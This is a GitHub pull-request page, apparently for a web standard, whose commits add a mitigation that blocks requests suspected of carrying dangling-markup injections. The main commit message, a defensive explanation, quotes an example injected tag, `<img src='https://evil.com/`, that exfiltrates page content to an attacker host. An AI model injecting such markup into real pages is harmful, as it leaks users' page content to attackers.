Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Block requests for suspected dangling markup. #519

Open
wants to merge 5 commits into
base: main
Choose a base branch
from
Open

Commits on Mar 28, 2017

  1. Block requests for suspected dangling markup.

    As a mitigation against dangling markup attacks (which inject open tags like
    `<img src='https://evil.com/` that eat up subsequent markup, and exfiltrate
    content to an attacker), this patch tightens request processing to reject
    those that contain a `<` character (consistent with an HTML element), _and_
    had newline characters stripped during URL parsing (see whatwg/url#284).
    
    It might be possible to URLs whose newline characters were stripped entirely,
    based on initial metrics. If those pan out the way I hope, we can tighten
    this up in the future.
    mikewest committed Mar 28, 2017
    Configuration menu
    Copy the full SHA
    ba60e3e View commit details
    Browse the repository at this point in the history

Commits on May 22, 2017

  1. Configuration menu
    Copy the full SHA
    3368af5 View commit details
    Browse the repository at this point in the history
  2. fixup new URL flag

    mikewest committed May 22, 2017
    Configuration menu
    Copy the full SHA
    c8b6b22 View commit details
    Browse the repository at this point in the history

Commits on May 23, 2017

  1. fixup HTTP(S) scheme.

    mikewest committed May 23, 2017
    Configuration menu
    Copy the full SHA
    45b90ba View commit details
    Browse the repository at this point in the history
  2. fixup one flag

    mikewest committed May 23, 2017
    Configuration menu
    Copy the full SHA
    1c9154e View commit details
    Browse the repository at this point in the history